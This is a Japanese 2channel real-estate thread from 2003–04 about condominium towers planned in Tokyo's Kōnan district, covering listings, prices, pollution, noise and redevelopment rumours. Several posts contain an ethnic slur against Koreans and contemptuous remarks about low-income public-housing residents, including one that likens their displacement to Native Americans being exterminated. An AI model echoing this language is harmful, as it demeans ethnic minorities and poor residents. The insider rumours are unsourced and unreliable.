港南エリア超高層計画　統一スレ５棟目

まだまだ終わらない港南エリア

■トーキョー・シーサウス　ブランファーレ
（鹿島建設）港区港南4-23-1（地番）　地上36階　地下1階
RCダブルチューブ 373戸　竣工2004年8月上旬予定
http://www.tokyo-sea.com/

■コスモポリス品川
（リクルートコスモス）港区港南3-8-2（地番）　地上40階　地下3階
RC　590戸　竣工2005年3月予定
http://www.cosmospolis.jp/

■ラグナタワー
（伊藤忠都市開発／東京建物／天王洲シティキャピタル）
　品川区東品川3-4-1（地番）　地上31階　地下1階
RC　501戸　竣工2005年2月上旬予定
http://www.laguna-tower.jp/

■ベイクレストタワー
（ゴールドクレスト）港区港南3-1-2（地番）　地上40階　地下1階
RC　594戸　竣工2005年11月下旬予定
http://www.goldcrest.co.jp/html/baytower/index.html

■サンウッド天王洲フラッツ
（サンウッド）品川区東品川2-3-6、7、11（地番）　地上23階　地下1階
RC免震　129戸　竣工2005年2月予定
http://www.sunwood.co.jp/tennoz/

2 ：名無し不動さん：03/12/23 00:05 ID:???

■パークタワー品川　ベイワード
（三井不動産）港区港南3-9-1（地番）　地上32階　地下2階
RC 竣工2006年1月予定
http://www.homewith.net/eee/bkdetail/anyfile.jsp?nbk_id=EST4arbvcz&bk_hcd=SELq3lr9bt&nTag=8

■（仮）港区・品川SEAフロントタワーマンションプロジェクト
（住友不動産）港区港南4-14-1（地番）　地上42階　地下2階
RC3棟　2,161戸　竣工2006年3月予定
http://www.tower-2000.com/

■（仮）ラクシア品川港南
（JR貨物・不動産開発）港区港南三丁目6番2（地番）　地上22階　塔屋1階
RC　162戸　竣工予定未定　
http://www.luxia-s.com/

■（仮）品川タワープロジェクト
（藤和不動産）港区港南2-7-16（地番）　地上30階　地下2階
RC　255戸　竣工2005年10月予定
http://www.shinagawa-tower.com/

3 ：名無し不動さん：03/12/23 00:06 ID:???

（高層じゃないので番外）
■スカイクレストビュー東京
（ゴールドクレスト）港区港南5-1-9（地番）　地上15階
RC　129戸　竣工2004年9月下旬予定
http://www.goldcrest.co.jp/html/scv_tokyo/index.htm

（すでに竣工済み番外）
■品川Ｖタワー
（三菱商事／東京建物／近鉄不動産／日本土地建物販売）
港区港南2-16-7及び東京都品川区北品川一丁目6番16 地上43階地下 3階
650戸（タワー棟622戸、テラス棟28戸）　竣工2003年5月
http://www.v-tower.com/

4 ：名無し不動さん：03/12/23 00:06 ID:???

過去スレ

①港南エリア超高層計画　統一スレ
http://money.2ch.net/estate/kako/1042/10424/1042461030.html

②港南エリア超高層計画　統一スレ２棟目
http://money.2ch.net/test/read.cgi/estate/1051974205/

③港南エリア超高層計画　統一スレ３棟目
http://money.2ch.net/test/read.cgi/estate/1061777385/

④港南エリア超高層計画　統一スレ４棟目
http://money.2ch.net/test/read.cgi/estate/1064030047/

5 ：名無し不動さん：03/12/23 00:13 ID:???

愛、おぼえていますか。

6 ：名無し不動さん：03/12/23 10:25 ID:???

藤和の30階は一番駅に近い。

7 ：名無し不動さん：03/12/23 10:31 ID:???

ぜーんぶ糞。
港南なんて基本は人間の住む場所ではないＹＯ！
みなさん、排ガスにまみれてちょーだい。

8 ：名無し不動さん：03/12/23 10:55 ID:Ip1P4uwh

たしかに、空気悪そう

これで、港区に住めると　買う奴は
マスコミでの扇動に騙された　スーパーアホ
ということだな。

港区だからすんでいいところとはとても
思えないが・・・

9 ：名無し不動さん：03/12/23 11:54 ID:AYc7JZnS

糞・・・・

オレは芝浦４丁目在住だよ・・・

空気が悪いんじゃなくて・・くせーーーーんだよｗ
なんせ、芝浦下水処理場があるからな・・
風の無い天気のいい日は、ドブの中で暮らしてる感覚だよ・・・

車庫行きの新幹線もうるーせーしなｗ

10 ：名無し不動さん：03/12/23 12:04 ID:???

そのニオイは、区全域から集まりし糞、その微粒子が空気中に散ったものである。
すなわち、区民全体のウンコ・シッコを空気中より摂取しているということである。
塵も積もればなんとやら
一年間くらい吸い続ければ、ウンコ一個分くらいは吸ったことになるだろう。

たとえどんな反響を得ようとも、敢えて言おう

え　ん　が　ち　ょ

であると。

11 ：名無し不動さん：03/12/23 12:22 ID:9Q5WhabV

港南５丁目には区の清掃工場があるし・・
ゴミダメですね。。。

港南には、都立養護学校・食肉市場・部分肉センター、
陸上自衛隊芝浦分屯地などがあり、住民は公団・都営住宅オンリー
です。。

そこが、高層住宅街になるんなんて・・
これこそ、「メルヘンチック」というべきですね。。。

12 ：名無し不動さん：03/12/23 12:27 ID:???

ほんと、童話の世界だね。

13 ：本人：03/12/23 12:51 ID:???

三井不動産／就職／新築分譲マンション（元社員）
是非ご高覧の程、宜しくお願い申し上げます
http://www.geocities.co.jp/WallStreet-Bull/8779/

14 ：名無し不動さん：03/12/23 13:27 ID:oH9UoEoi

どうわのね・・

15 ：名無し不動さん：03/12/23 14:33 ID:???

ようやく５棟目が立ったと思ったらいきなりスゴイですな。
こりゃ余程安くしないと売れませんな。

16 ：名無し不動さん：03/12/23 16:30 ID:W1xMPRAt

80㎡3000万台の情報が入ってきた。

都営を立て替える計画らしい・・
定期借地権７０年らしいが・・

詳しい、情報求む・・・

17 ：名無し不動さん：03/12/23 16:43 ID:???

うわ、安！
それって誰でも買えるの？

18 ：名無し不動さん：03/12/24 01:09 ID:???

>>16
コスポリの前にできるといわれているマンションね。
900戸だか700戸、40階程度という話だけど、まだ詳細は未定のよう。
これから事業者募集じゃなかったかな？

19 ：名無し不動さん：03/12/24 03:05 ID:HqTcZjoS

>>18
なるほど・・ｻﾝｸｽ
ネタの出所は港区区議会議員だから､地元・低所得者優先になるだろう・・

これだけ急激に人口が増えれば、早めに支持者を繋ぎ止めておきたい
（増やしたい）という気持ちもでるだろう・・

20 ：名無し不動さん：03/12/24 07:55 ID:5HwGYpRm

ブランファーレって二重床・二重天井じゃないの？

21 ：名無し不動さん：03/12/24 18:48 ID:???

↑
30貝異常なら

22 ：名無し不動さん：03/12/24 21:57 ID:QgSbZMT9

>>16
ここに情報あるよ。

東京都はＪＲ品川駅に隣接する都営住宅建て替えに伴い、定期借地権方式の超高層マン
ションを供給する。老朽化した都営住宅を高層化してねん出する土地に、民間事業者を誘
致する。都の事業をモデルに、周辺の工場・倉庫群の土地利用転換を促す。都は今後、都
営住宅建て替えで生じる都心の約十ヘクタールの余剰土地をもとに都市再生につながる事
業を進める。
　港区港南四丁目の都営住宅建て替え第二期工事は、二・一ヘクタールの敷地のうち約半
分を使い地上二十―二十四階建て計五百六十四戸の高層都営住宅を建設。残りの敷地で民
間事業として地上四十階建て約七百戸の定期借地権付きのマンションと福祉、商業施設を
一体整備する。総事業費は二百億円程度となる見通し。
　借地期間は七十年に設定。分譲価格は周辺の通常の分譲マンションに比べ四割程度安い
八十平方メートル台三千万円前後を想定している。都営住宅の施工と定借マンション開発
を一体として民間事業者を公募する方針。民間からの提案を価格、事業内容など総合的に
審査したうえで事業者を選定、二〇〇三年度に着工する計画だ。
　都は今回の事業を通じ地価下落で勢いが鈍っている定借マンションの普及を図ると同時
に、開発地周辺の臨海部の工場や倉庫用地を活用した住宅、オフィス開発につなげたい考
え。
　山手通りと荒川の間に囲まれた首都高速中央環状線内側の都心エリアには昭和三十年代
以前に建設した都営住宅が三十ヘクタール、六千戸ある。都は建て替え期を迎えたこうし
た住宅を今後十年かけ集約、高層化。生まれる土地に民間活力を導入し、住宅に高齢者向
け福祉施設や子育て支援施設を組み入れた複合開発を進める。新たな住宅を木造密集市街
地の再開発の際の移転先に生かすなど、都市再生につながる事業を目指す。

http://messages.yahoo.co.jp/bbs?.mm=RL&action=m&board=1073724&tid=ijc0n1x9afn8fda1a2bcaen1eybaf3abhafbepjs8r49&sid=1073724&mid=1412

23 ：名無し不動さん：03/12/24 22:44 ID:jbeBhJo+

>>21
36階建てだから・・・

24 ：名無し不動さん：03/12/24 22:53 ID:bydSvYBV

>>19

しかし、地元低所得者ってどういう人たちなんでしょうね？
世帯年収１０００マン以下とか？

これだと、港区ではマイノリティなのではないかと思って
しまいますが・・・

25 ：名無し不動さん：03/12/24 22:59 ID:???

都営分譲の話は、東京都住宅局のＨＰに普通に載ってるのだが・・・

26 ：名無し不動さん：03/12/24 23:14 ID:???

>>24
アマイ
南青山だけで港区を語ってはイケナイ・・・

27 ：名無し不動さん：03/12/24 23:17 ID:bydSvYBV

２４です。

実は地元住民なんです。仕事が忙しいんで、
職場に近いほうがいいだろうと、最近引っ越して
きました。騒音は窓を閉めてれば、さほど気になり
ませんが、１２月になっても蚊やゴキ等の
害虫のオンパレードで・・・・。

引っ越したいんですけど、この辺は便利なわりに安いし・・・
今は賃貸なんですが、買っちゃおうかなと思ったりします。

悩みますね。

28 ：名無し不動さん：03/12/24 23:38 ID:bydSvYBV

再び２４です。

>>26
レス着つけてくれてありがとうございます。
初心者なので、ちょっと感動。

でも、港南地区を除けば、リッチな人が多いんじゃ
無いんですかね？

消費税上げて欲しいです。民主党に一票。

29 ：名無し不動さん：03/12/24 23:44 ID:5HwGYpRm

>>24
築何年の所に住んでるの？
港南地区ですか？

30 ：名無し不動さん：03/12/24 23:53 ID:bydSvYBV

港南○丁目の新築です。調べれば特定できますね？

ゴキは初秋の1回だけですが、蚊は12月になっても出ました。
ほんとに多いみたいで、同じマンションの皆さんも困ってます。

虫、嫌いなんです。助けて～

31 ：名無し不動さん：03/12/25 08:24 ID:Z0P9FOb/

Ｖタワーですか？
コスモもゴキブリ出るかな？

32 ：オレは港区２０年：03/12/25 10:56 ID:QnRl4VQ8

>>24
港区にだって、いまだに風呂のない家で暮らしているような人たちは、
いっぱいいます。高輪・白金に現に銭湯が何件かあります。
それに多くの古い都営・公団・・・
特に都営は家が古くて狭いので、成人した子供は同居せず
近郊に部屋を借りています。住民票は港区のままが多いので、３０代独身
年収４００万程度の人もかなりいるわけです。年老いた親は住み慣れた
港区を離れたくないので、３０００万台になれば、かなりの地元民が
優先的に入居するでしょう。

33 ：名無し不動さん：03/12/25 12:23 ID:???

出来た当初から貧民窟確定？
新築マンションの窓に簾がかかったりして。

34 ：名無し不動さん：03/12/25 13:11 ID:???

>>24　港区の年収１千万以上世帯の割合は２６％、
年収４００万円未満世帯は３３％
出所＝Attractors Lab
www.a-lab.co.jp/nenshu/jutaku/10.html

35 ：名無し不動さん：03/12/25 14:55 ID:???

年収1000万程度の人ならわかるだろうが、家族4人で
妻と子供二人いたら、暮らしが相当苦しいと思われる。

最低、年収は2000万以上ないとまともな暮らしは出来ませんよ。
その見地から言うと、年収400万も1000万もあまり違いはないとおもうが

36 ：名無し不動さん：03/12/25 17:47 ID:???

港南、白金、麻布ってのは微妙な地域だな。
ボロが結構ある。スラムの名残だろう

37 ：名無し不動さん：03/12/25 18:16 ID:???

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38 ：名無し不動さん：03/12/25 20:13 ID:+2AFADWs

空気が悪く、汚い道路、悪臭の運河、
食料品は手に入ったとしても、家電・家具・雑貨の店が無い・・・

ファミリー向きの地域ではありませんね・・

39 ：名無し不動さん：03/12/25 21:55 ID:???

ファミリーは田舎にいきましょう

40 ：名無し不動さん：03/12/25 23:03 ID:mofwVFF6

小市民には適当な場所と思います。

41 ：名無し不動さん：03/12/25 23:06 ID:jqOwxQDz

24です。

>>31さん

見落としてました。
ハズレです。Ｖタワーになんて住めません。ぼくは庶民です。

その他の方々、いろいろ情報をありがとうございます。
現実はそんなものなんですね。

>>38さん
ひと夏経験してますが、悪臭や空気の悪さを感じたことは
ありません。タバコを吸うのであまりあてにならないかも
しれませんが、地元民の感想です。
でも、確かに徒歩圏で日用品を買えるところがありませんね。
トイレットペーパーはコンビニで買ってます。

42 ：名無し不動さん：03/12/26 09:26 ID:???

>>41
喘息多くないか？

43 ：名無し不動さん：03/12/26 10:34 ID:P6a5OSk9

>>41
そうですか？
うちは、芝浦４丁目で品川駅へ行く時、芝浦処理場の脇を通る
からでしょうか。なんともいえない異臭を感じますね。
あとは、平日の海岸通りですね。トラックの排ガス・・
港南小・港南中の生徒達はかなりきつそうです。

ただ、日曜日に海岸通りを歩いていると磯の香りがして
すがすがしいので、良し悪しは何とも言えませんね。

44 ：名無し不動さん：03/12/26 20:30 ID:???

警視庁の地域別犯罪件数の最新版が新聞に載ってるね
港南は自転車泥棒と粗暴犯が多いね。特に２丁目と４丁目。
北青山も３丁目は自転車泥棒・粗暴犯が多いから、
やっぱ、（以下省略

45 ：名無し不動さん：03/12/27 00:57 ID:7yZ03eNg

これだけ急激に人口が増えれば、変化もおきてくるでしょう。
特に、路上駐車問題は深刻そう・・

46 ：名無し不動さん：03/12/27 03:59 ID:???

>>43
>ただ、日曜日に海岸通りを歩いていると磯の香りがして
>すがすがしいので、良し悪しは何とも言えませんね。

塩分を含んだ空気はコンクリを早く中性化させて劣化させるよね。
躯体の持ちが悪そうだなぁ。

47 ：名無し不動さん：03/12/27 11:03 ID:XiVxkrG9

一戸建てじゃくあるまいし、塩害など普通気にするか？
そもそもベイエリアを購入者は、承知済。
ここ、数日馬鹿な投稿も減ったな。
田舎物は帰省身支度が忙しいか？

48 ：名無し不動さん：03/12/27 12:09 ID:???

>>47
なんだかゆとりが全然なさそうだな。
どうしたんだ？年越しの金がないか？
それとも生まれつきそんな性格か？
気の毒で仕方ないよ。
育ちがおまへをそうさせたのかもしれないな。

49 ：名無し不動さん：03/12/27 15:50 ID:???

>>47
隣に食肉市場があるのも承知済だよな。
周りが都営、S価、Kが多いのも承知済だよな。

じゃぁ後から文句言ってる人達はなんなんだ？

50 ：名無し不動さん：03/12/27 20:05 ID:CE+L88Si

韓国人多いの？

51 ：名無し不動さん：03/12/27 21:13 ID:???

港南は評判悪いな。

52 ：名無し不動さん：03/12/27 21:14 ID:???

港南は評判悪いな。

53 ：名無し不動さん：03/12/28 01:27 ID:vuIhlLrM

韓国は多くはないなｗ

芝浦４丁目の高浜橋のとこには、在日韓国人街があるが・・・

54 ：名無し不動さん：03/12/28 12:54 ID:YNaUAzbT

川崎と高浜橋はチョンは多い！
関係ないけど、富士吉田はもとは在日の村

ここの板は、土着民(港南民）が多そうだな！
必死に入植者を攻撃している。
ユダ、在日の心境か？可哀そうな塵住民！
国も低所得者を必要以上補助するから、それが当たり前と思い
ここに出没する様な身の程しらずの投稿をする。
入植者に煙たがれるのもわかるな。

55 ：名無し不動さん：03/12/28 15:45 ID:+DhnqQ82

>52
港南口のパチンコ屋がある所は違うのか？

56 ：名無し不動さん：03/12/28 15:54 ID:+DhnqQ82

↑>53の間違えだ｡｡｡

57 ：名無し不動さん：03/12/29 00:20 ID:G2Hai2Dd

>>54
確かに、おいらは土着民だ

品川駅の東口が、長く汚い地下道の先のボロの木造駅舎だったことも
シッテル。その隣がテニスコートだったこともシッテル。

金の亡者のバカどもが、白金・高輪を越えて山手線の海側へ
押し寄せてくるとなると、「何でこんなとこに住むの？？」
と思うのが自然な気持ちだ。

58 ：あぼーん：あぼーん

あぼーん

59 ：名無し不動さん：03/12/29 12:39 ID:sAvGCSd5

コスポリの人はローン毎月１５マソ、
新しく建つ都営のひとは、広さがおなじで家賃３マソ

１２万の差が眺望と建具の差？

わしなら都営にすみたい

60 ：名無し不動さん：03/12/29 19:46 ID:???

>>59
すいませーん!
コスボリには極一部上層階を除いて
その眺望も無いんですが・・・

61 ：名無し不動さん：03/12/29 20:28 ID:???

>58
日本人も同じ様な面じゃん。まぁ、仲良くしたれ。

62 ：名無し不動さん：03/12/29 23:13 ID:???

タワーに眺望をもとめるのはマチガッテルにだー

63 ：名無し不動さん：03/12/30 01:55 ID:mSWI9ftB

港南の劣悪施設の一つが、再開発の為に移設検討に入っているらしいよ！
有力筋の情報ですけどね。ゼネコンに話が回っているから早い段階でOPENになるでしょう

64 ：名無し不動さん：03/12/30 02:13 ID:mSWI9ftB

>59
ローン１５万も払って現在の港南に住むか？？
まあいずれ都営民の様に必要以上の補助（援助）を受ける人間を
何時までも優遇し野放しにする訳無いね！
政府もろくに納税しない民を厄介にしか思っていないしね
これから貧富の差はもっと広がるよ、そのうち民度の低い
連中は再開発の波によって駆逐されるね、大げさに言い換えれば、
白人の入植によりインデアンが駆除された様にね。
優良民の入植が始まれば、敗者が消えるのは何処の世界も場所も同じ
妄想だと思うならそれで良いけど確実に世の中は変ってきているね。
補助や援助が当たり前の権利だと思っている塵どもの
思い上がった根性を粉砕する時代に来ているね！
勝利した者が報われる良い時代だ！これこそ、資本主義の恩恵だね！

65 ：年収３００マソ：03/12/30 12:28 ID:K7vqGQuo

>>64
一番のバカどもは年収たかが１０００ﾏｿで、多少は裕福なんて思ってる
くそサラリーマン。どうぞ、ローン月１５ﾏｿ払って住んでくださいな。
保険料・年金・住民税ありがとうございます。

私どもは住み慣れた、港南を離れる気はございません。
年老いた親もおります。選挙は年収が多かろうが少なかろうが、
有権者一人一票でございます。それが、民主主義です。。

66 ：名無し不動さん：03/12/30 12:59 ID:EL7amG+7

選挙の一票ね～愚民の妄想ですか？衆愚政治を美化しすぎだね。
１０００万も稼げない塵の住民様～、それにムザムザ税金を上納する
愚民と違いますのであしからず。所詮、世なのか富める者の世界、
資本家達の意向でどうにでもなるのですがね～
新たにこの地域の劣悪施設は、再開発の為、移設検討されているしね。
迷惑な物（者）は、日陰に追いやられる運命なのよ。ご愁傷様。

67 ：名無し不動さん：03/12/30 13:28 ID:sbGRGwI9

というか土着民（港南民）のこのスレに対する粘着ぶりをみてると
ほんと心が病んでるんだなぁっておもいます。
こういう人たちが、ちょっとした妬みで物盗んだり、人殺したりしちゃうんですね。
私は偏見はいけないと思っていたほうなんですが、
やっぱお金持ってない人は人間性もかなりやばい人たちなですね。

68 ：名無し不動さん：03/12/30 13:47 ID:???

そもそも好き好んで港南に移り住もうという気が知れない。
後から入ってきて、土着民を追い出そうというのも、同程度に人間性がやばい。

69 ：名無し不動さん：03/12/30 14:44 ID:IqQQDaru

あなたたちは、なぜ港南に住もうというのですか？
六本木や広尾に住めないくせに・・・

結局、土地が安くなり、どんなにがんばっても役員なれない、
凡サラリーマンが見栄を張って、港区に住むんですね・・・
１０年間前、千葉や埼玉にマンション買ってた連中と変わりませんね。

どんなに高層マンションが建っても、港南は港南ですよ・・
あなた方の、ご子息ご令嬢は、港南小・中にはまさか行きませんよね・・
広尾の慶應までご通学ですか？

70 ：名無し不動さん：03/12/30 14:54 ID:EL7amG+7

そう言うおまえ等は、土着民だろ！
脳内なりきり優良住民になって、
反撃か、ムキになるなよなアホ～

71 ：名無し不動さん：03/12/30 14:56 ID:???

土着民の方がまだ、ＤＱＮの自覚があるだけマシでしょう。
なんちゃって港区民気取って威張り散らすのも充分ＤＱＮ。

72 ：名無し不動さん：03/12/30 18:36 ID:sbGRGwI9

ここはみすぼらしい土着民が一人でムキになって狂乱するスレ。

73 ：土着民：03/12/30 18:52 ID:40W5jqbV

漏れらは、本気マジで高層ﾏﾝｿﾝ移り、住み続ける・・・
港南に骨を埋める・・

おまいらなんかより、この土地を愛する気持ちはつよいんだ
だから、このスレにもきてんだ・・

74 ：名無し不動さん：03/12/30 21:39 ID:QILdP2Sz

くだらん　言い合いやめたら？

こんなふうに　見下す奴は　都内に住みたがる奴に
多い。　だから　俺は都内に住みたくないねえ。

お互い　認め合ってはいかが？

75 ：名無し不動さん：03/12/30 22:38 ID:Nj0wF9YH

というか>>63にもっと注目してもいいのではないか。

動きそうにないもの

　横羽線 --- 道路なくした話は聞いたことがない
　モノレール　---　移転ってのはおかしい
　ごみ焼却場　---　新築だ
　下水処理場　---　水は低きに流れる
　トバ　---　必死の人大杉
　品川埠頭　---　空港と一緒にこれから役立ちそう

ってわけで、動きそうなのは品川火力くらいしか思いつかない

76 ：名無し不動さん：03/12/30 22:56 ID:???

>75
そのトバが動くんだってよー！　ソースはa-labのbbs。

真偽の程は不明だが、千代田区の青果市場（現秋葉原のTTTなど）＞太田へ移動、中央区の築地卸売市場＞木場へ移動予定、の経緯を見るとネタとも思えない。

77 ：名無し不動さん：03/12/31 00:17 ID:???

金持ち喧嘩せず。
本当に1000万以上収入あったらこんなとこで喧嘩してないよな。

78 ：名無し不動さん：03/12/31 01:14 ID:NadKBUlT

>>76

サンクス。初夢にトバ跡ショッピングモールでも見るよ。あー今日もまだ臭い

79 ：名無し不動さん：03/12/31 07:27 ID:Xt+Lv7q9

西武Gr.のショッピングセンター計画があるらしい。
場所が何処なのか分からなかったけど、
なるほどね。

80 ：名無し不動さん：03/12/31 11:54 ID:7utpJ0KH

食肉市場も新築したばかりじゃない。

81 ：名無し不動さん：03/12/31 12:01 ID:???

もし実現するとしても、相当先でしょうね。

82 ：今日のニュースで：03/12/31 12:55 ID:08Qhc+Ax

山手線、品川・田町間に新駅計画・・・

関係ないか？

83 ：名無し不動さん：03/12/31 13:10 ID:???

泉岳寺駅ですね。
○ahooの掲示板で以前、話題になっていました。
コスポリとかベイクレあたりなら、品川駅より多少近いかもしれませんね。

84 ：名無し不動さん：03/12/31 14:41 ID:???

港南ってさ、漏れの記憶にあるなかではここ20年くらいで一番周辺環境の悪い再開発地域なわけだけどさ、
どうしてこんな地域に住居を買うの？
他に幾らでも住むところはあるだろ？

85 ：あぼーん：あぼーん

あぼーん

86 ：陽子：03/12/31 15:01 ID:???

>???
安いからじゃないの

87 ：名無し不動さん：03/12/31 17:36 ID:9Gur3xXV

どうでもいいけどラグナタワーの話題でないね。

88 ：名無し不動さん：03/12/31 17:45 ID:2qvspPg3

泉岳寺に駅できても品川の方が近いと思いますけど、地下鉄泉岳寺駅より
品川よりなら別ですけど、全く意味なし。

港南、芝、三田界隈で探していますが、理由は会社通勤の利便性重視ですね。
帰るの何時も遅いから寝に帰るだけだし、通勤時間を徒歩含めて３０分以内で
交通機関終了後、タクシーまたは、徒歩で帰れる。（現賃貸より安く買えて、通勤所要時間変らず）
５０歳で辞めて働かなくなったら、郊外へ引っ越します。

89 ：名無し不動さん：03/12/31 18:35 ID:???

>88
品川駅で朝の通勤の波に逆らって改札に向かう必要が無くなる（爆）

将来的に郊外へ引越すつもりなら、
わざわざ供給過多で売り逃げしにくくなるようなババ物件を掴む必要なし。

90 ：名無し不動さん：03/12/31 19:23 ID:9Gur3xXV

と土着民がいっております。

91 ：名無し不動さん：04/01/01 02:22 ID:EtTR8fPg

あけましておめでとうございます。

港南の地で、本年も迎えました。
ここがふるさと。。

92 ：名無し不動さん：04/01/01 15:32 ID:6rS65GTZ

今時、マンション買うのに、売り逃げ考えるか？
土着民の考え方だな。
売り捨て処分か、ヘタレ賃貸だな、税金安く出来るし。

93 ：名無し不動さん：04/01/01 16:02 ID:???

宅建協会の人に聞いたら
万村はこれからどんどん売れなくなってデベは儲からなくなる
どこで儲けを出すかと言ったら管理費から｡
結構デベの関連会社に管理会社があるとこ多いでしょ。
だから管理費はどんどん高くなるもんだと思ったほうが良いってさ｡
安い管理専門会社に乗り換えればいいんだろうけど、
絶対デベからは住民の不安を煽るような妨害が入るとさ｡
修繕積立金も、デベからは一度だけ値上げするけど、
それで大丈夫なんて言われたけど絶対足りない、と言われてしまった｡
少なくとも倍にはなるから覚悟しなさいって・・・

94 ：名無し不動さん：04/01/04 15:20 ID:1XeCciCQ

西武の開発はなくなったの？
（港南４丁目）

95 ：名無し不動さん：04/01/05 13:45 ID:???

こうなんちくのくそのいろ　ぎょうしゃひっしのことわりをあらわす

96 ：名無し不動さん：04/01/06 23:45 ID:Q/mjQ+/d

三井や住友の物件
検討してる人いるのかな。

97 ：名無し不動さん：04/01/07 02:17 ID:DNDxZfI1

港南口のＣ社に勤めています。
今日、社内通達がきました。
朝、駅からの流れに逆らって通勤するＶタワ住民から苦情が来たそうで、
「グランドコモンズ入居の企業6社の合意により、通勤時間はスカイウェイを
左側通行に統一することになりました」だそうです。
うちの会社はすぐ隣のＶタワの住民から文句言われっぱなしです。
部屋を覗かれたりしてプライバシを侵害されるとか言われて、
３０階建てビル全体の半分は一年中ブラインドを自動制御の固定で降ろしっぱなしです。
同時に建設されて、隣が丸見えなのを承知で部屋を買ったくせにＶタワ住人は
コワイです。

98 ：土着民：04/01/07 14:05 ID:kE3B7y1G

やだねー。お金持ちの香具師は・・・

それより、食肉市場の牛が今日は多かったな。米からの輸入停止で国産増産か。
駐車してある荷車からの、お肉にされる牛ちゃんのウツロな瞳と鳴き声。

このご近所に「プライバシー云々」なんていう住民がいるなんて、
とても想像できましぇん・・

99 ：名無し不動さん：04/01/07 23:51 ID:???

×　C社　
○　販社

初心者は間違いやすいので一応補足

100 ：名無し不動さん：04/01/08 01:03 ID:q43sJyT/

ａ－ｌａｂが会員制になったら、掲示板の荒れも少しは収まるかな。

101 ：名無し不動さん：04/01/08 11:47 ID:???

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102 ：名無し不動さん：04/01/08 19:49 ID:ilYE1xIy

>>99
Ｃ社で分かるよ。
それならM社の俺は電気か商事か自動車か書かなくちゃならなくなる。

103 ：名無し不動さん：04/01/08 19:51 ID:???

今日港南をぐるっと見回してきたよ。久しぶりに。
やっぱり住環境としては劣悪だなー

それを補うだけの価値を、購入物件に見出せるかどうかがポイントですな。

「帰り道は相変わらず殺風景で、トラックもうるさいけど
　この風呂からの眺めは最高だなあ、買ってよかったよ」てな感じかね

104 ：名無し不動さん：04/01/08 22:35 ID:???

それじゃ低層階の住人はどうすんじゃ？？

殺風景な街で孤独に暮らせていいやって思うのか・・

105 ：名無し不動さん：04/01/08 22:49 ID:???

上は例えばだよ例えば。低層なら
「ちょっと空気は悪いけど、通勤ラッシュもないし豪華なエントランスをくぐって
　我が家に帰る、やっぱり買ってよかったよローンも楽だし」てなとこで

106 ：名無し不動さん：04/01/08 23:10 ID://HKUWQA

＞103-105
ねえ、いつまで自作自演やるの？
飽きないの？

107 ：名無し不動さん：04/01/08 23:12 ID:jmmt1rJZ

通勤に１時間消費するよりまし！
空気気にするなら、田舎行けば
首都圏なら何処も条件は対して変りはしない。

108 ：名無し不動さん：04/01/09 11:44 ID:wadzBePe

友達がブラン購入して、一緒に港南行ったんだが、
なんて褒めていいのかわかんないような立地でした。
見晴らしがよさそう？　と言っても、彼が購入したのは
レインボーブリッジも東京タワーも見えない一角の低い階。
購入する価値あるんですか？

109 ：名無し不動さん：04/01/09 12:04 ID:???

>>108
まったく価値なし。まー、住所は港区だから、
「へー港区に引っ越したんですか！」と言われて
自己満足する時だけ幸せな気持ちになるんだろう・・

110 ：名無し不動さん：04/01/09 12:04 ID:???

　飼
　う
　人
　の
　価
　値
　観

111 ：名無し不動さん：04/01/09 21:38 ID:zlE8G634

俺、同じ港区ですが、あえて港南へ転進します。（山手線の内から外へ）
都落ちの気分ですが、これほどの安さで１００平米の広さと
眺望はなんともしがたいと思いましたので、買って見ました。
２０年は住まないと思いますけどね。

112 ：名無し不動さん：04/01/10 01:32 ID:???

111はよくわかってる。

113 ：名無し不動さん：04/01/10 17:12 ID:Bv5wZzU7

　自　作　自　演　の自己満足スレ決定！

114 ：名無し不動さん：04/01/10 20:00 ID:fwZrYlg2

そう思うのは、低所得者に属する
お前だけだろ！

115 ：名無し不動さん：04/01/11 00:49 ID:1hLH1fbZ

V-タワーが、中古で売りに出ていた。
６０００万強だった。

116 ：名無し不動さん：04/01/11 01:57 ID:???

連休初日の土曜日のよる。
品川駅周辺を歩くと、高輪口は人がわりと歩いているが、
港南口は待ちのタクシーばっかしだな、ビル街の店は
意外と早く閉店だし、歩く人もまばら。

港南って結局人がなつかない場所なのね。。

117 ：名無し不動さん：04/01/11 08:28 ID:3FF7VZvz

だから?

118 ：名無し不動さん：04/01/11 08:29 ID:3FF7VZvz

補足。連休に混みたきゃ、原宿か渋谷に住め、バカ。

119 ：名無し不動さん：04/01/11 10:20 ID:lEjseZpt

マンションが全部建てば、人も増えると思うよ。
倉庫街→マンション街になって、雰囲気も良くなると思うし。

120 ：名無し不動さん：04/01/11 12:14 ID:waGIM92G

休日人が少ないのは、多いに結構では
地域住民以外が多く来るのもどうかと思うけどね。
高輪～三田沿いも平日に比べて、休日は人少ないけど
車の交通量も少ないし、とてもよい事だ。

田舎物程、妙なところきにするな～故郷と思いが重なるのか

121 ：港南：04/01/11 19:13 ID:???

連休の谷間の日曜日、港南口は人影はまばら、
昼食をグランドコモンズの夢庵でとる。。

ランチタイムなのにがらがら。同じビル群でも汐留や六本木と
違って人がいないのね。。

でも、吉野家は夜でもやってるんです。。

122 ：名無し不動さん：04/01/11 19:24 ID:XWyAEPIV

基本的にオフィス街ですからね、汐留、六ヒル、YGPの様に
イベント開いたり、アミューズメント性を狙っていませんので
まあ、こんなもんでしょう。もう少しJRが品川駅自体を斬新的なデザインで
本気で東京駅と人争奪するつもりで、計画していれば、
まだ、違っていたそうですが、（某建築誌のデザイナーのコメントにありました）
殆ど、休日の集客はやる気なしです。（ドトールも閉まっていた、あぼーん）

123 ：港南土着民：04/01/11 22:12 ID:???

港南口が開発されれば、品川シーサイド駅周辺のように、
住民にとって便利な商業施設が出来ると思ったのですが、
平日のオフィス人々用の店中心で、住民には便利になったとはあまり
いえましぇん。。

品川のアトレできれば多少は便利かな・・・

124 ：名無し不動さん：04/01/12 00:32 ID:???

>>123
店出てくるのは住民増えてきてからだね。

125 ：名無し不動さん：04/01/12 00:52 ID:???

都営のビンボー住人よりも、高層まんすよんお買い上げ住人の
方が購買欲が高いだろうから、付近の店舗も様変わりするだろう。

花屋とか、インテリア雑貨とか、あんまりねーもんな。。
ＪＵＮの店舗が公団の１Ｆにあるけど、お客も増えソーダナー。

126 ：名無し不動さん：04/01/12 11:37 ID:25XchWXE

>125
確かに言えている。
これから出店される店は、入植者をニーズとしているからな。
現段階で店側も儲かりもしない（客単価が低い）都営住民は相手にしない。

127 ：名無し不動さん：04/01/12 14:08 ID:iPg6g0AQ

ところで、完売でたマンソンはあるのか？

128 ：名無し不動さん：04/01/12 16:06 ID:???

ブランファーレでさえ１０戸ぐらい売れ残ってるから、ないんじゃないかな。
